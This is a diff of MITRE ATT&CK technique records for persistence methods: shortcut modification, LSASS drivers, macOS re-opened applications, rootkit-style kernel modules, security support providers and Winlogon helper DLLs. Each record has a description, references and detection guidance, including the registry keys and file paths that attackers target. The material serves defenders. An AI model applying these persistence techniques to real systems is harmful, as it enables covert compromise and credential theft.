ExternalReference(source_name='BSidesSLC 2020 - LNK Elastic', description='French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.', url='https://www.youtube.com/watch?v=nJ0UsyiUEqQ')]",attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-04-13 21:30:24.555000+00:00,Shortcut Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['David French, Elastic', 'Bobby, Filar, Elastic', 'Travis Smith, Tripwire']","['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,,,,"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. +Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/009', 'external_id': 'T1547.009'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/132.html', 'external_id': 'CAPEC-132'}, {'source_name': 'BSidesSLC 2020 - LNK Elastic', 'description': 'French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.', 'url': 'https://www.youtube.com/watch?v=nJ0UsyiUEqQ'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['David French, Elastic', 'Bobby, Filar, Elastic', 'Travis Smith, Tripwire']","['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. -Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)",,,,,True,,,"['Administrator', 'User']",['Windows'],,,,1.1 -2020-01-24 18:38:55.801000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem) +Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)",True,"['Administrator', 'User']",['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T18:38:55.801Z,2020-03-25T16:52:26.567Z,LSASS Driver,"Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem) -Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/008', external_id='T1547.008'), ExternalReference(source_name='Microsoft Security Subsystem', description='Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.', url='https://technet.microsoft.com/library/cc961760.aspx'), ExternalReference(source_name='Microsoft LSA Protection Mar 2014', description='Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.', url='https://technet.microsoft.com/library/dn408187.aspx'), ExternalReference(source_name='Microsoft DLL Security', description='Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')]",attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-25 16:52:26.567000+00:00,LSASS Driver,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Vincent Le Toux'],"['Module: Module Load', 'Driver: Driver Load', 'File: File Modification', 'File: File Creation']",,,,,"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security) +Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/008', 'external_id': 'T1547.008'}, {'source_name': 'Microsoft Security Subsystem', 'description': 'Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.', 'url': 'https://technet.microsoft.com/library/cc961760.aspx'}, {'source_name': 'Microsoft LSA Protection Mar 2014', 'description': 'Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.', 'url': 'https://technet.microsoft.com/library/dn408187.aspx'}, {'source_name': 'Microsoft DLL Security', 'description': 'Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Vincent Le Toux'],"['Module: Module Load', 'Driver: Driver Load', 'File: File Modification', 'File: File Creation']",,"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security) -Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ",,,,,True,,,"['SYSTEM', 'Administrator']",['Windows'],,,,1.0 -2020-01-24 18:15:06.641000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. +Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ",True,"['SYSTEM', 'Administrator']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T18:15:06.641Z,2020-01-24T19:51:37.795Z,Re-opened Applications,"Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. -An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/007', external_id='T1547.007'), ExternalReference(source_name='Methods of Mac Malware Persistence', description='Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf')]",attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-01-24 19:51:37.795000+00:00,Re-opened Applications,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Modification', 'Command: Command Execution']",,,,,Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.,,,,,True,,,['User'],['macOS'],,,,1.0 -2020-01-24 17:42:23.339000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)  +An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/007', 'external_id': 'T1547.007'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'Command: Command Execution']",,Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.,True,['User'],['macOS'],1.0,,,,,,, +attack-pattern,attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T17:42:23.339Z,2021-10-19T04:03:46.357Z,Kernel Modules and Extensions,"Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)  When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview) Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation) -Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/006', external_id='T1547.006'), ExternalReference(source_name='Linux Kernel Programming', description='Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.', url='https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf'), ExternalReference(source_name='Linux Kernel Module Programming Guide', description='Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.', url='http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html'), ExternalReference(source_name='iDefense Rootkit Overview', description='Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.', url='http://www.megasecurity.org/papers/Rootkits.pdf'), ExternalReference(source_name='Apple Kernel Extension Deprecation', description='Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.', url='https://developer.apple.com/support/kernel-extensions/'), ExternalReference(source_name='Volatility Phalanx2', description='Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.', url='https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html'), ExternalReference(source_name='CrowdStrike Linux Rootkit', description='Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.', url='https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/'), ExternalReference(source_name='GitHub Reptile', description='Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.', url='https://github.com/f0rb1dd3n/Reptile'), ExternalReference(source_name='GitHub Diamorphine', description='Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.', url='https://github.com/m0nad/Diamorphine'), ExternalReference(source_name='RSAC 2015 San Francisco Patrick Wardle', description='Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'), ExternalReference(source_name='Synack Secure Kernel Extension Broken', description='Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018.', url='https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/'), ExternalReference(source_name='Securelist Ventir', description='Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.', url='https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/'), ExternalReference(source_name='Trend Micro Skidmap', description='Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/'), ExternalReference(source_name='Linux Loadable Kernel Module Insert and Remove LKMs', description='Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.', url='http://tldp.org/HOWTO/Module-HOWTO/x197.html'), ExternalReference(source_name='Wikipedia Loadable Kernel Module', description='Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.', url='https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux')]",attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-03-30 00:59:53.716000+00:00,Kernel Modules and Extensions,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Wayne Silva, F-Secure Countercept', 'Anastasios Pingios', 'Jeremy Galloway', 'Red Canary']","['Command: Command Execution', 'File: File Creation', 'Kernel: Kernel Module Load']",,,,,"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (""kernel object"") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) +Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/006', 'external_id': 'T1547.006'}, {'source_name': 'Linux Kernel Programming', 'description': 'Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.', 'url': 'https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf'}, {'source_name': 'Linux Kernel Module Programming Guide', 'description': 'Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.', 'url': 'http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html'}, {'source_name': 'iDefense Rootkit Overview', 'description': 'Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.', 'url': 'http://www.megasecurity.org/papers/Rootkits.pdf'}, {'source_name': 'Apple Kernel Extension Deprecation', 'description': 'Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.', 'url': 'https://developer.apple.com/support/kernel-extensions/'}, {'source_name': 'Volatility Phalanx2', 'description': 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.', 'url': 'https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html'}, {'source_name': 'CrowdStrike Linux Rootkit', 'description': 'Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.', 'url': 'https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/'}, {'source_name': 'GitHub Reptile', 'description': 'Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.', 'url': 'https://github.com/f0rb1dd3n/Reptile'}, {'source_name': 'GitHub Diamorphine', 'description': 'Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.', 'url': 'https://github.com/m0nad/Diamorphine'}, {'source_name': 'RSAC 2015 San Francisco Patrick Wardle', 'description': 'Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'Synack Secure Kernel Extension Broken', 'description': 'Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018.', 'url': 'https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/'}, {'source_name': 'Securelist Ventir', 'description': 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.', 'url': 'https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/'}, {'source_name': 'Trend Micro Skidmap', 'description': 'Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/'}, {'source_name': 'Linux Loadable Kernel Module Insert and Remove LKMs', 'description': 'Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.', 'url': 'http://tldp.org/HOWTO/Module-HOWTO/x197.html'}, {'source_name': 'Wikipedia Loadable Kernel Module', 'description': 'Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.', 'url': 'https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux'}, {'source_name': 'User Approved Kernel Extension Pike’s', 'description': 'Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021.', 'url': 'https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/'}, {'source_name': 'Purves Kextpocalypse 2', 'description': 'Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.', 'url': 'https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/'}, {'source_name': 'Apple Developer Configuration Profile', 'description': 'Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.', 'url': 'https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Wayne Silva, F-Secure Countercept', 'Anastasios Pingios', 'Jeremy Galloway', 'Red Canary']","['File: File Modification', 'Command: Command Execution', 'File: File Creation', 'Kernel: Kernel Module Load']",,"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (""kernel object"") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) -For macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity. +Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r) -Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)",,,,,True,,,['root'],"['macOS', 'Linux']",,,,1.1 -2020-01-24 17:16:11.806000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. +On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile) +",True,['root'],"['macOS', 'Linux']",1.2,,,,,,, +attack-pattern,attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T17:16:11.806Z,2020-03-25T15:42:48.910Z,Security Support Provider,"Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. -The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/005', external_id='T1547.005'), ExternalReference(source_name='Graeber 2014', description='Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', url='http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html'), ExternalReference(source_name='Microsoft Configure LSA', description='Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.', url='https://technet.microsoft.com/en-us/library/dn408187.aspx')]",attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-25 15:42:48.910000+00:00,Security Support Provider,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,,,,Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA),,,,,True,,,['Administrator'],['Windows'],,,,1.0 -2020-01-24 16:59:59.688000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) +The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/005', 'external_id': 'T1547.005'}, {'source_name': 'Graeber 2014', 'description': 'Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', 'url': 'http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html'}, {'source_name': 'Microsoft Configure LSA', 'description': 'Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.', 'url': 'https://technet.microsoft.com/en-us/library/dn408187.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA),True,['Administrator'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T16:59:59.688Z,2020-04-21T16:00:41.277Z,Winlogon Helper DLL,"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013) @@ -2009,36 +2220,36 @@ Malicious modifications to these Registry keys may cause Winlogon to load and ex * Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on * Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on -Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/004', external_id='T1547.004'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/579.html', external_id='CAPEC-579'), 